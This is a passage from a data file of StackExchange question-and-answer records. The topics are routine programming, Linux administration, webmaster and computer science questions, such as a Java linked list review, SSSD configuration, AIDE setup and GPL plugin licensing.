this.head.getValueElement().getName() + ,                 + this.head.getValueElement().getValue() + \\n;        while ((currentElement = currentElement.getSuccessor()) != null) {            IValueElement currentValueElement =                    currentElement.getValueElement();            ret += currentValueElement.getName() + ,                     + currentValueElement.getValue() + \\n;        }        return ret + End:  + this.end.getValueElement().getName() + ,  +                this.end.getValueElement().getValue() + \\n;    }}Moreover I have made (voluntarily) a test Class. For trying out what I got so far.package implementierung;import schnittstellen.*;public class ListTest{    public static void main (String[] args) {        IList list = new List();        IValueElement data01 = new ValueElement(K1, 10);        IValueElement data02 = new ValueElement(K2, 20);        IValueElement data03 = new ValueElement(K3, 30);        IValueElement data04 = new ValueElement(K4, 40);        IValueElement data05 = new ValueElement(K5, 50);        list.insertAtTheEnd(data01);        list.insertAtTheEnd(data02);        list.insertAtTheEnd(data03);        list.insertAtTheEnd(data04);        list.insertAtTheEnd(data05);        System.out.println(list.toString());        // Testing reverse()        list.reverse();        System.out.println(After reverse --- \\n + list.toString());        // Testing getHead()        System.out.println(                Name of head element:                     + list.getHead().getValueElement().getName() + \\n);        // Testing getElementAt()        System.out.println(At 2:  + list.getElementAt(2).getName());        System.out.println(At 3:  + list.getElementAt(3).getName());        System.out.println(At 5:  + list.getElementAt(5).getName());        // Testing insertAtPos()        IValueElement atPosN = new ValueElement(A-B, 99);        list.insertAtPos(3, atPosN);        // Testing insertAtTheEnd()        IValueElement atTheEnd = new ValueElement(X-Y-Z, 100);        list.insertAtTheEnd(atTheEnd);        // Testing getElementAt() after additional insert        System.out.println(After additional insert : );        System.out.println(At 2:  + list.getElementAt(2).getName());        System.out.println(At 3:  + list.getElementAt(3).getName());        System.out.println(At 5:  + list.getElementAt(5).getName());        // Testing getFirstPosOf        System.out.println(Element found at :  + list.getFirstPosOf(data03));        System.out.println(Element found at :  + list.getFirstPosOf(atPosN));        IValueElement test1 = new ValueElement(D-E-F, 10);        System.out.println(Element found at :                 + list.getFirstPosOf(test1) + \\n);        System.out.println(list.toString());        // Testing member()        IValueElement notMember = new ValueElement(x-y, 12);        System.out.println(list.member(atPosN));        System.out.println(list.member(notMember));        System.out.println(list.member(data03));        // Testing deleteFirstOf()         System.out.println(\\nTrying to delete K3 - \\n);        list.deleteFirstOf(data03);        System.out.println(list.toString());        // Testing deleteAllOf()         System.out.println(\\nTrying to delete all of K2 - \\n);        list.insertAtTheEnd(data02); // Add data02 a second time.        System.out.println(list.toString());        list.deleteAllOf(data02);        System.out.println(list.toString());    }}I should mention that I've tried to implement everything based upon what I've understood in the corresponding lecture. I avoided to lookup the internet. Instead figured out everything myself to become more confident with these data structures.I seems to work alright. But I'm sure there are flaws. Perhaps even errors. So therefore: All hints, comments and suggestions concerning improvements highly welcomed."  , "title": "Java: Double Linked List which uses a sentinel node as zero element"  , "tags": "java;linked list"  , "accepted_answer": "Advice 1: a bugYou reversal operation will enter an infinite loop on empty list. In order to remedy this, write public void reverse() {    if (length == 1) {        // Otherwise, on empty list infinite loop.        return;    }    IListElement currentElement = this.head.getSuccessor();    IListElement currentNext = currentElement;           IListElement currentFirst = currentElement;    ...}Advice 2Also, it is kind of funny you count the sentinel element in your length. Better design was ignoring it and start counting only the actual elements. Furthermore, what you call element is actual is called list node. Advice 3Prepending an I to interface names is a C# convention, not a Java convention.Advice 4You can be more clear in your code by simply swapping the element/node data instead of restructuring the entire list:public void reverseV2() {    IListElement element1 = head.getSuccessor();    IListElement element2 = end;    while (head != end) {        String tmpString = element1.getValueElement().getName();        element1.getValueElement().setName(element2.getValueElement().getName());        element2.getValueElement().setName(tmpString);        int tmpInt = element1.getValueElement().getValue();        element1.getValueElement().setValue(element2.getValueElement().getValue());        element2.getValueElement().setValue(tmpInt);        element1 = element1.getSuccessor();        if (element1 == element2) {            return;        }        element2 = element2.getPredecessor();        if (element2 == element1) {            return;        }    }}In overall, your code is pretty clear and well written."  } 
{  "id": "_unix.328308"  , "question": "I am happily limiting upload speed by port - but really want to limit download by process.It seems iptables did have functionality for matching and marking packets by process in the form of --pid-owner or --cmd-owner - but both have now been removed?$ iptables -m owner --help...owner match options:[!] --uid-owner userid[-userid]      Match local UID[!] --gid-owner groupid[-groupid]    Match local GID[!] --socket-exists                  Match if socket existsseems there are options to match by user or group, but not process.I am aware of trickle, and wondershaper - but neither allow shaping of an already running process"  , "title": "How can I limit Download bandwidth of an existing process? (iptables, tc, ?)"  , "tags": "linux;networking;iptables;tc;packet"  } 
{  "id": "_unix.309560"  , "question": "I'm trying to join a Ubuntu 16.04 to a Windows domain (active directory) using realmd + sssd. Basically I was following this post which worked pretty well and I was able to join my server and could successfully authenticate as AD user. However there are two pieces missing in the integration:Register server's hostname in DNSUse sssd-sudo for user authorizationRegister server's hostname in DNS As mentioned I successfully join the AD by using realm join --user=dpr MYDOMAIN.INT --install=/:root@ip-172-28-5-174 ~ # realm listmydomain.int  type: kerberos  realm-name: MYDOMAIN.INT  domain-name: mydomain.int  configured: kerberos-member  server-software: active-directory  client-software: sssd  required-package: sssd-tools  required-package: sssd  required-package: libnss-sss  required-package: libpam-sss  required-package: adcli  required-package: samba-common-bin  login-formats: %U@mydomain.int  login-policy: allow-realm-loginsHowever, dispite the successful join, my server is not known to the other machines in the domain using its hostname ip-172-28-5-174.mydomain.int. I found this documentation that mentions a dyndns_update setting in the sssd.conf file.As I'm using realm. The sssd configuration is generated automatically by issuing the join command. The generated config file looks like this:[sssd]domains = mydomain.intconfig_file_version = 2services = nss, pam[domain/mydomain.int]ad_domain = mydomain.intkrb5_realm = MYDOMAIN.INTrealmd_tags = manages-system joined-with-adclicache_credentials = Trueid_provider = adkrb5_store_password_if_offline = Truedefault_shell = /bin/bashldap_id_mapping = Trueuse_fully_qualified_names = Truefallback_homedir = /home/%u@%daccess_provider = adThat is I somehow need to add dyndns_update = True to this generated file. But how?Use sssd-sudo for user authorization Additionally I want to make sssd to read my sudo configuration from AD. I think this can be achieved using sssd-sudo but this needs to be enabled/configured in the sssd.conf file as well by adding sudo to the sssd services and use sudo_provider = ldap for my domain. Again I'm not able to figure out how to do this with realm.Basically I want my generated config file to look like this:[sssd]domains = mydomain.intconfig_file_version = 2services = nss, pam, sudo[domain/mydomain.int]id_provider = adaccess_provider = adsudo_provider = ldapad_domain = mydomain.intkrb5_realm = MYDOMAIN.INTrealmd_tags = manages-system joined-with-adclicache_credentials = Truekrb5_store_password_if_offline = Truedefault_shell = /bin/bashldap_id_mapping = Trueuse_fully_qualified_names = Truefallback_homedir = /home/%u@%dAny ideas on how this can be achieved?"  , "title": "Configure SSSD (sudo and dyndns_update) with realmd"  , "tags": "ubuntu;active directory;sssd"  , "accepted_answer": "Sadly there doesn't seem to be an option to add custom configuration parameters to the sssd.conf file generated by realmd.I had to adjust the generated config to contain my needed settings after joining the domain with realm join and restart sssd (service restart sssd) for the settings to take effect."  } 
{  "id": "_webapps.21028"  , "question": "For some time now, I've happily been using bitly with a custom domain to shorten URLs on Twitter, but recently Twitter has decided to start shortening my already shortened URLs.Will this affect my statistics on bitly?"  , "title": "Twitter shortens my already shortened URLs. Will this affect my bitly statistics?"  , "tags": "twitter;bit.ly"  , "accepted_answer": "Yes*, it will. Consider this tweet of mine which was shortened to ( http://u.sbhat.me/rwa550 ) & which twitter wrapped with the t.co URL ( http://t.co/X3V8Hhsp ) & posted to my timeline. Checking on the stats confirmed that the referrer was t.co.*I believe, the reason there are couple of twitter.com & hootsuite.com referrers comes down to the way clients handle the API - twitter API provides both the t.co & the long URL(in this case, the shortened URL). If the client shows & sends request directly to the long URL, the obviously, the referrer won't be altered. However, twitter webpage shows the long URL but is actually linked to the short one and hence the referrer remains the short, i.e., t.co one."  } 
{  "id": "_unix.126083"  , "question": "I recently discovered that my MidnightCommander takes around 40 seconds for every startup and the same goes for McEdit.I access my machine only via ssh and of course I'm not logging in as root, only to prevent the questions.I did an strace and it puts out two system calls that take around 20 seconds:poll([{fd =3, events=POLLIN}], 1, -1) = 1 ([{fd=3, revents=POLLIN}])select(5, [4], NULL, NULL, NULL) = 1 (in [4])Unfortunately I don't have the heck of a clue what these calls are, any hints or help would be appreciated, thanks in advance!Update:If I do a sudo mc it works as usual, only with my accout it does take that long.Solution:The solution is simple, I had X11 forwarding in Putty enabled, after deactivating it everything works like a charm. Strange, but anyway, it works again.Thanks for your answers!"  , "title": "MC and MCedit take long time to start"  , "tags": "mc;strace"  } 
{  "id": "_softwareengineering.287995"  , "question": "I am writing a program, where in the beginning of the execution, I am instantiating a number of classifier objects using parameters stored in some files. I later use those classifiers in multiple objects. My question is: how should an object which uses a classifier obtain this classifier object?The objects which use the classifiers do not even exist at the initialization time of the program and they are far away from the initialization class, so even if they existed, passing the classifiers through multiple classes is a code smell. "  , "title": "Deserializing an object at beginning of program which is used (much) later"  , "tags": "object oriented design"  } 
{  "id": "_unix.245155"  , "question": "I've already searched for it in google or stackexchange but didn't find anything. Is there anything for linux (exactly Kali Linux) for scrolling with the scroll mouse button? I mean, you know, like when in Windows I click on scrollMouseButton while on scrollView, there appears and icon and when I move my mouse pointer up, it scrolls up. When down - scrolls down."  , "title": "Linux Scroll Extension"  , "tags": "kali linux;scrolling"  } 
{  "id": "_scicomp.22031"  , "question": "How does the pseudo inverse of a full column rank matrix change if I rescale a single row?In more detail the problem is the following:We have a fixed matrix $V$ with linear independent columns and lots of matrices $D_i$ of the form$$D_i = \\begin{pmatrix}d_i & 0 \\\\0 & E_n \\end{pmatrix}$$where $E_n$ is the identity matrix. All matrices are real and have nice condition numbers. So far so sweet.We know the pseudoinverse $V^+=(V^*V)^{-1} V^*$ of $V$ and the job is to compute all the pseudo inverses $$(D_i \\cdot V)^+$$in a fast way. Any ideas how to exploit the structure of the problem here? For example if the problem was the other way round, algebra of pseudo inveses would allow to break it down to inverting a single number and multiplying a single row:$$(V \\cdot D_i )^+ = D_i^{-1} \\cdot V^+$$In my applications $V$ is of small size, like $4 \\times 3$ for example."  , "title": "Pseudoinverse of perturbed matrix"  , "tags": "linear algebra;performance;least squares"  } 
{  "id": "_webmaster.100065"  , "question": "I am about to move my sites to VPS (Ubuntu 16, Apache, with Webmin VHM).In Webmin.com I came across this article that says:WARNING : Running Webmin under Apache is almost never necessary unless  you are on a very low-memory system that is already running Apache.  Doing so will make Webmin slower, break some features and force use of  the old ugly UI.Is it only a bad phrasing? Because I can't think of any reason why Webmin will warm people not to use Webmin and Apache together --- Almost any Webmin user I know, uses Apache (or Nginx) as its server software."  , "title": "Webmin (a free VHM) recommend not running it with Apache?"  , "tags": "apache;webmin"  , "accepted_answer": "It can indeed be defined as a bad wording on their side, even though it is technically correct:Running Webmin under Apache and not Running Webmin with/and Apache. This is referring to whether Webmin is run with it's own HTTP server  on port 10000 or using Apache. It is in no way saying that Webmin and Apache should not be run at the same time."  } 
{  "id": "_webapps.35357"  , "question": "Trello supports referencing one card from the description and comments of another card by using the referenced card Short ID. (More info here.)The only ways I currently know of detecting a card Short ID is:Entering into the card and looking at the Card # legend at the bottom of the right column.Hovering with the mouse over the card and looking at the last part of the URL. It might say something like /22, so in that case the short ID will be 22.However, both of those methods are quite uncomfortable when you're writing the description/comment for another card.I wonder, is there any way of having Trello autocomplete/suggest the Short ID for a card, or help with the referencing?Thanks!"  , "title": "Autocomplete/suggest for short IDs in Trello?"  , "tags": "trello"  , "accepted_answer": "When you are entering info on a card, type # then whatever your search term for the card is and it should start matching cards for you.For example: #fix should find all cards that have fix in their titles for you.With this, you don't have to know the shortcode."  } 
{  "id": "_cs.49009"  , "question": "Is the jury still out on this or do we now know which of the above mentioned ways of randomizing Quick Sort is the most optimum as far as average case running time (averaged over all possible input arrays, with all permutations of the numbers being equally likely) is concerned?Or perhaps, has a case been made for the assertion that a generalization is not possible?"  , "title": "Quick Sort: Randomized Pivot vs Median of 3/'Ninther' Pivot vs Uniform Shuffle of Input"  , "tags": "algorithms;sorting;efficiency"  , "accepted_answer": "The asymptotic expected running time of quicksort is $\\Theta(n \\log n)$: this is true for all three pivot methods you mention.Wikipedia says that the expected number of comparisons is approximately $1.386 n \\log n$ when using a random pivot, and approximately $1.188 n \\log n$ when using median-of-three pivot.  There's some experimental evidence that the number of comparisons might be about $1.094n \\log n$ when using a ninther pivot for large arrays, median-of-three for medium-sized arrays, and single element for small arrays.  See the following research paper:Jon L. Bentley, M. Douglas McIlroy, Engineering a Sort Function.  Software Practice and Experience, 23(11):1249-1265, Nov 1993.(This paper is cited in the Wikipedia article I mentioned above.)I'm not familiar with the uniform shuffle pivot selection method.  It sounds equivalent to choosing a random element and using that as the pivot."  } 
{  "id": "_cs.10227"  , "question": "I am trying to solve a recurrence by using substitution method. The recurrence relation is:$$T(n)=4T(n/2)+n^2$$My guess is $T(n)$ is $\\Theta(n\\log n)$ (and I am sure about it because of master theorem), and to find an upper bound, I use induction. I tried to show that $T(n)\\le cn^2\\log n$ but that did not work, I got $T(n)\\le cn^2\\log n+n^2$.I then tried to show that, if $T(n)\\le c_1 n^2\\log n-c_2 n^2$, then it is also $\\mathcal O(n^2\\log n)$, but that also did not work and I got $T(n)\\le c_1n^2\\log(n/2)-c_2 n^2+n^2$.What trick can I use to show that? Thanks."  , "title": "Solving $T(n)=4T(n/2)+n^2$"  , "tags": "asymptotics;recurrence relation"  } 
{  "id": "_unix.96534"  , "question": "Is it possible to disable Bash's autocompletion for a specific command only?Use case: For obvious reasons, I would like to disable autocompletion for the rm command when I'm root. It would also be a terrible pain if I disabled autocompletion altogether, so I'd like to remove it for rm only.Can this be done at all, preferably without hacking /etc/bash_completion and friends?"  , "title": "Disable Bash autocompletion for a specific command only"  , "tags": "bash;autocomplete"  , "accepted_answer": "You can do this easily by setting rm's completion to an empty wordlist.complete -W  rmSet it in /root/.bashrc if you only want it to apply to root."  } 
{  "id": "_unix.3261"  , "question": "I've been messing around with my system too much and messed something up. I'm new to Ubuntu, but have been using linux on servers for a few years. I'm not sure of the correct terminology so I'm including screen shots to explain what is going on.First, system specs:Ubuntu 10.4 LTS x64 Lucid  Core i7-970  Nvidia GTX 480  Dual Screen with Twinview  Nvidia proprietary dev driver 260.24 (64-bit)Now what I screwed up:First major customization was ppa:goehle/goehle-ppa customizations for keeping evolution open after closing the main window. That worked fine until I started messing with getting hibernate working.I never got hibernate working even after installing linux-generic-tuxonice; it gave a warning about usb09 not stopping. The only things that I have in USB are a keyboard and mouse.Then I started getting the error:Trying to fix this, I reinstalled the Evolution customizations. The error persists and now the panel is messed up as well. I'm not getting the application icons, the menu with the chat status, or the shutdown/restart/lock screen menu.This is what it should look like:But this is what I'm getting now:How do I get my icons back?EDIT: I found how to get my application icons back.Right-click on panelAdd to Panel ...Notification Area.I still have not figured out what the chat bubble menu and power menu are called."  , "title": "Gnome panel missing application icons, chat bubble menu, and power menu"  , "tags": "ubuntu;gnome;notifications;gnome panel"  , "accepted_answer": "The Power thingy and the user chat bubble thingy are both the same applet called Indicator Applet Session. "  } 
{  "id": "_unix.58324"  , "question": "I know that .profile / .bash_profile are loaded when a terminal session is started, either through local machine or SSH. Are there any files that are loaded/called when the session terminates?Reason:I have the .profile set to log the date and IP address that connects to a terminal session for a specific user."  , "title": "Are any files loaded when a terminal session terminates?"  , "tags": "bash;shell;ubuntu;exit"  , "accepted_answer": "~/.bash_logout executed by bash when login shell exits. but you can also get IP address and date details using lastlog , did your try that ?~/.bash_logout , but it will not run when session kill -9 $$ or may be close forcefully"  } 
{  "id": "_webmaster.18001"  , "question": "Is liquid layout (everything in % and font-size in 'em') good or creating multiple css file for different resolutions or browsers with help of Javascript good?I am a aspiring web designer, and want create a universal accessible web pages? "  , "title": "Is liquid layout good or creating multiple css file for universal accessibility of web pages?"  , "tags": "html;css;website design"  } 
{  "id": "_unix.266309"  , "question": "I have a server at home that I use as a NAS and some other services. The server has Debian Jessie on it, with 4x 4 TB harddrives in RAID5. I use this server to store all my home data, movies, games, etc. About 75% of it is filled.I learned about AIDE some time ago after checking my cron reports, with aide giving an error:run-parts: /etc/cron.daily/aide exited with return code 1/etc/cron.daily/tripwire:### Error: File could not be opened.### Filename: /var/lib/tripwire/myhostname.twd### No such file or directory### Exiting...run-parts: /etc/cron.daily/tripwire exited with return code 8So to initialize my cron database, I executed the command: sudo aideinit according to this tutorial. However, this command has been running for the last two days!!!I noticed that it's scanning the whole server including my whole RAID array! This I learned because it gave stdout messages related to the data in my RAID. Part of them are the following:/raidarray/Games/UT2004/Help/BallisticFiles/Render_PistolP.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_M290P.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_FP9A5Pickups.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_NRP57P.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_M290S.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_R78S.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_A42S.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_MRT6Clip.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_EKS43S.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/BallisticStripe2.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_M50Clip.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/BallisticGoldLogo.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_Rockets.jpg mtime in future/raidarray/Games/UT2004/Help/BallisticFiles/Render_M925S.jpg mtime in futureSo what's going on? I'm quite new to AIDE, but I would like to understand how it works. Should it really take that long? Does it make sense for it to scan my whole RAID array? How would you manage this?"  , "title": "AIDE is taking forever to initialize"  , "tags": "cron;aide"  , "accepted_answer": "It turns out the solution is to exclude that directory of the array. This is how to exclude it: Just add this line to the config file of aide to exclude the folder /raidarray:!/raidarray/.*"  } 
{  "id": "_codereview.82920"  , "question": "I am using .Net Identity 2.0 with Entity Framework 6.0. I have a Person class inheriting IdentityUser. I have a Teacher (has additional Title property) and Student (has additional StudentNumber property) class inheriting from the Person class. I also have their corresponding roles in the database: Student and Instructor (or teacher).I wonder if the code below is the most efficient way of creating users with specific roles, it seems to be a redundant but I could not figure a shorter way: gEchoLuDBContext _db = new gEchoLuDBContext();        var userStore = new UserStore<IdentityUser>(_db);        var userManager = new UserManager<IdentityUser>(userStore);        foreach (ListItem role in rb_Roles.Items)        {            if (role.Selected)            {                var user = new Person()                {                    UserName = txt_Username.Text,                    FirstName = txt_Firstname.Text,                    LastName = txt_Lastname.Text,                    Email = txt_Email.Text                };                if (role.Text == Student)                {                    user = new Student()                    {                        StudentNumber =  ,                        UserName = txt_Username.Text,                        FirstName = txt_Firstname.Text,                        LastName = txt_Lastname.Text,                        Email = txt_Email.Text                    };                }                else if (role.Text == Instructor)                {                    user = new Teacher()                    {                        Title = ,                        UserName = txt_Username.Text,                        FirstName = txt_Firstname.Text,                        LastName = txt_Lastname.Text,                        Email = txt_Email.Text                    };                }                IdentityResult result = userManager.Create(user, txt_Password.Text);                if (result.Succeeded)                {                    IdentityResult result2 = userManager.AddToRole(user.Id, role.Text);                    if (!result2.Succeeded)                    {                        lbl_Result.Text = The user created successfully. But, the selected roles are not assigned!;                    }                }            }        }"  , "title": "Creating users with different roles using .Net Identity 2.0 within Entity Framework"  , "tags": "c#;entity framework;inheritance"  } 
{  "id": "_cstheory.1944"  , "question": "Given a DAG with $|V| = n$ and has $s$ sources, we have to present subgraphs such that each subgraph has approximately $k_1=\\sqrt{s}$ sources and approximately $k_2=\\sqrt{n}$ nodes.(Note: Approximately means that each subgraph contains $\\lceil \\sqrt{n}\\rceil$ or  $\\lfloor \\sqrt{n} \\rfloor$ nodes and covers  $\\lceil \\sqrt{s}\\rceil$ or $\\lfloor \\sqrt{s} \\rfloor$ sourses of the original graph. All sources of the original graph have to be covered by some subgraph, so there has to be $\\lceil \\sqrt{s}\\rceil$ or                $\\lfloor \\sqrt{s} \\rfloor$ subgraphs.)Assume following about the graph G(V,E):We try to solve the problem forgraphs in which such partitionexists - if the partition doesn'texist it can be stated that it isimpossible to create partitionAll the graph's node will have $\\forall v \\in V\\ $ in_deg(v)=2 or in_deg(v)=1Let's define the height of the DAG to be the maximum path length from some source to some sink.The subgraphs have following requirements:We require that all subgraphsgenerated will have the same height(max length of longest path)Nodes of each subgraph should bereachable from the sources withinthat subgraph, using nodes of thatsubgraph as intermediate nodes.Moreover, the intersection of eachpair of node sets (of subgraphs)must be empty.In the following picture, you can see an example of a right partition (assume that each edge in the graph is directed upwards).There are 36 nodes and 8 sources [#10,11,12,13,20,21,22,23] in the example. So each subgraph should have 6 nodes and 2 or 3 sources.Do you have idea for algorithm?Thank you very much "  , "title": "DAG partitioning to subgraphs"  , "tags": "ds.algorithms;graph theory;graph algorithms;directed acyclic graph;clustering"  } 
{  "id": "_unix.205023"  , "question": "I have versions 3.16 and 4.0 of linux-image package installed. During login I can select which kernel I want to boot in the advanced options menu item. However, when I install a DKMS module it is compiled only for the newer version:Setting up fglrx-modules-dkms (1:14.12-1) ...Loading new fglrx-14.12 DKMS files...Building only for 4.0.0-1-amd64Relevant packages (linux-headers, linux-kbuild, linux-compiler-gcc) are installed for 3.16 too.Why does the package not get compiled for the old kernel image? Can I configure something so it is compiled?"  , "title": "How do I compile DKMS module for multiple kernel image versions in Debian?"  , "tags": "debian;compiling;kernel modules;dkms"  } 
{  "id": "_cs.26405"  , "question": "Do there exist two computable functions, a and b, which can construct every computable function by a finite serie of a's and b's which is function composed? Fx. let's take the serie, a,b,a,b,b,a,a,a , which function composed is the function, ababbaaa ( =a(b(a(b(b(a(a(a(x)))))))) ), this function is the function described by the serie, a,b,a,b,b,a,a,a. And I want to know if every program can be described, by such serie.If such functions exist, can you tell a example of a and b?Thanks."  , "title": "Two functions which can create any computable function by composing?"  , "tags": "computability;turing completeness"  , "accepted_answer": "If such functions existed, they would constitute a computable enumeration of all computable functions, which is impossible for the following reason. Suppose you had a computable enumeration $f_i$ of all computable functions. The function $g\\colon i \\mapsto f_i(i) + 1$ is then computable, but by definition $g \\neq f_i$ for all $i$."  } 
{  "id": "_unix.330323"  , "question": "I have a problem thatI can not solve even after scanning the Web. I trust in your help.I have a text file that contains several strings of different lengths.https: //insidemiamitatto.com/gugwywgifuw ';https://insidemiamitatto.com/gugyiwyeiuiuweyiweyi ';https://insidemiamitatto.com/gugyiipi9uuuppopi ';I need to eliminate with Applescript or Terminal the last 3 characters, i.ee ';I tried it with sed, but my invocation eliminates the characters only from the longer strings, leaving the others with 3 characters.Is there a way to eliminate the final 3 characters in each string?I also have a second question:Always with sed I can remove strings e.g:sed -i.bak -e '1,200d; 1874,2842d'This virtually eliminates a part of the initial and final text.In the rest of the files, I string groups that alternate every 18 strings, and I would like to erase 17 in each group, for example:1-18 19-37 38-55.I would keep the strings 1 19 38.Is sed or other feasible? I am using BBEdit, but every time I have to count manually, and it is exhausting when editing many files."  , "title": "Sed and BBedit Html"  , "tags": "sed;osx"  } 
{  "id": "_webmaster.56637"  , "question": "I'm looking for a white-hat method of getting Google to show a local site search result as a Google search result. For clarification:There is a page filled with names of certain people. Each of the names is linked to the local site search engine. So clicking on David jones would go to mysite.com/?q=david+jones. I want Google to show up the aforementioned link mysite.com/?q=david+jones as a search result if something like mysite david jones is queried. There is an obstacle I need to avoid:There are more than 450 people names (or links) on theaforementioned page. I've heard that having more than say 150 linkson the page is bad for SEO. In addition to those names there areother links to various other pages. i.e main menu, footer links,latest article links etc. (it's a Joomla system.)What I want to try:My solution to this is use a robots tag to index only content and not links. But I'm still stumped how to show the site search result as a Google Search result.Will adding all these local site search engine links in sitemap help? "  , "title": "How to get Google to show local site search engine results?"  , "tags": "seo;search engines;site search;search results"  , "accepted_answer": "You do not want to show your local site search results to Google to be indexed.  First of all, as John Conde stated, Google doesn't necessarily want site search results in the index and, frankly, you don't want to display a huge page of links to Google as it will appear spammy to the algorithm under nearly all circumstances.As far as the authoritative source than John was unable to locate, I think there are several that serve.  The first is an old Matt Cutts post from 2007 that mostly describes the problem but does quote Vanessa Fox responding to a question on Webmaster Help thusly:Typically, web search results dont add value to users, and since our  core goal is to provide the best search results possible, we generally  exclude search results from our web search index. (Not all URLs that  contains things like /results or /search are search results, of  course.)Cutts then goes on to point to the quality guidelines on the official Webmaster Guidelines support page that was modified to include the following bullet:Use robots.txt to prevent crawling of search results pages or other auto-generated pages that don't add much value for users coming from search engines.Cutts further states in the 2007 post:its still good to clarify that Google does reserve the right to take action to reduce search results (and proxied copies of websites) in our own search results.So by now it should be abundantly clear that this is a practice to avoid and has been for quite some time (more than 6 years at the time of this answer).In case you need more proof, there is a post on Search Engine Land from September of 2013 featuring a video of Matt Cutts basically answering the same question as he did in 2007 but also adds a link to the Automatically generated content article on Webmaster Tools Help that basically restates all of the above, only much more succinctly than I have done.tl;drDon't do this.What you should be doing instead is making sure you have actual content pages for David Jones et al and have those in your sitemap so Google will index them.  A local site search is really just another navigational tool for your users once they are on the site...it is not a destination for inbounds."  } 
{  "id": "_unix.330176"  , "question": "I have 5 files called file1, file2, file3, file4, file5, . I am attempting to run the following command echo contents >> file{1,2,3,4,5}. I get the following error when I run this command; -bash: file{1,2,3,4,5}: ambiguous redirect. My goal is to echo some text to multiply files in one command. How can I achieve this? Thanks in advance."  , "title": "Bash Brace Shell Expansion Fail"  , "tags": "bash;io redirection;echo;brace expansion"  } 
{  "id": "_unix.82261"  , "question": "I just created a tor hidden (plausible deniability) volume. I used a 32GB USB flash drive, for the outer volume, and made the inner volume 20GB. Does this mean that I can safely add another ~12GB of data to the outer volume without corrupting the hidden inner volume? I'd like to store my bank statements on the outer one, so I should never need more than 1GB. When creating the inner volume, it said that it would be better to make it smaller to allow for more storage space in the outer volume, but when I finished making the inner volume, it said not to modify the outer volume under any circumstances."  , "title": "Editing Truecrypt Hidden Volume's Outer Volume?"  , "tags": "encryption;privacy;truecrypt"  } 
{  "id": "_opensource.2819"  , "question": "Background: In the audio processing world, most programs to compose and mix music in (collectively called DAW's from now on) are commercial and closed source. These programs can extend their functionality using some common plug-in specifications.There is one common 'free' and cross-platform specification that is widely supported (Steinberg's VST specification). There are several others, most commonly Apple's AudioUnit and Avid's RTAS- and AAX specifications. AudioUnit, RTAS and AAX are locked in to the companies' proprietary DAW platforms (Logic and Pro Tools).For whatever reason these specifications were developed, they are nearly completely identical. However, Pro Tools and Logic refuse/don't support loading plugins from any open specifications except their own.These specifications are so identical that creating a wrapper around all of these specifications is trivial and possible. This, then, has created a mess in which developers of audio plug-ins must separately distribute a lot of permutations of their plugins, but it has become common practice.Situation: I created a meta-plugin/wrapper, that allows to identify itself as any format (specification) and load any format (such that you can load VSTs in Logic, for instance). The plugin is free and licensed under the GPL.It works completely on its own. But it can, at run-time optionally load any end-user provided plug-in, or, optionally, save an emulated 'copy' of the loaded plug-in disguised as any other format. This last feature allows the unsupported format to be loaded seamlessly in any other locked-in proprietary host (but under the hood, it is still wrapped through my plug-in, just statically (not it terms of linking) and invisibly).The question is, whether this is in violation of the GPL, when the end-user provided library loaded in my GPL program is not GPL-compatible (proprietary or closed source, for instance).Notice that, the GPL program Audacity allows the same functionality - it can for instance load any VST-plugin, that may or may not be proprietary. I can even, through creative audio system routing, simulate the exact situation using a project in Audacity that can be routed through something like Logic, emulating the wrapped plug-in situation.I guess the question can be boiled down to: Can GPL hosts support loading of optionally provided non-GPL plug-ins in this specific situation, where the GPL host imitates the non-GPL plug-in in what effectively seems like one plug-in?"  , "title": "Hosting (potentially) non-GPL plugin's"  , "tags": "gpl;plugins"  , "accepted_answer": "IMHO your question boils down to: can a piece of GPL-licensed code load arbitrary code under non-GPL or other licenses assuming it does not know about any of this other code ahead of time?The closest thing that comes to mind would be an OS user space such as the Linux user space. Linux does not know anything ahead of time about your program. Does its GPL license extend to your program? Since this can be a grey area for some, Linus made it clear that the GPL does not extend to user space programs.I think the same context applies here. For the sake of clarity if you want to allow or disallow the loading of non-GPL-licensed plugins by your framework, you should make this explicit such that there is no source of confusion for your users. An explicit GPL exception would be the thing I would do if it was for me."  } 
{  "id": "_codereview.47638"  , "question": "I've tried this problem on Codeforces.  Given a set of string patterns, all of which are the same length, and which consist of literal lowercase ASCII characters and ? wildcards, find a pattern that satisfies them all.I want to optimize and simplify it further and make it a more elegant solution, if possible.import sysdef main():    n = int(sys.stdin.readline())    t = sys.stdin.readlines()    l = len(t[0])    result = ''    if n==1:        result = t[0].replace('?', 'x')    else:        for y in range(0,l-1):            let = t[0][y]            for x in range(1,n):                if let == '?' and t[x][y]!= '?':                    let = t[x][y]                if t[x][y] != let and t[x][y] != '?':                    result += '?'                    break                elif x == n-1:                    if let == '?':                        result += 'x'                    else:                        result += let    print resultmain()"  , "title": "String pattern riddle"  , "tags": "python;programming challenge"  , "accepted_answer": "(This answer is in Python 3. Feel free to make the necessary adjustments to run it on 2.x)IntroductionThe review posted by janos underscores the need for good names, following coding conventions. The post suggests incremental improvements, which is a step in the right direction.To make more radical improvements to your code, you need to recognize the deeper structural problems, which arise because you're not using the full flexibility of Python and because you aren't using the right data structure to simplify your algorithm.Handling the inputThe only responsibility of main()should be to collect and sanitize the input and subsequently output the result:def main():    pattern_count = int(sys.stdin.readline())    patterns = itertools.islice(sys.stdin, pattern_count)    result = intersect_patterns(p.strip() for p in patterns)    print(result)The calculation should be kept separate, in the intersect_patterns function.Join instead of +=It would be more elegant to separate the concatenation of the resulting string from the calculation of its contents. You can achieve this by using Python's yield keyword to create a generator whose elements can be joined like so:def intersect_patterns(lines):    return ''.join(_intersect_patterns(lines))Iterating the right wayYou are making your algorithm a lot more complex by iterating over the input in the traditional line-by-line fashion when you are in fact interested in examining one column at a time.  The solution is to think of the lines as rows and the characters as columns in a matrix. To 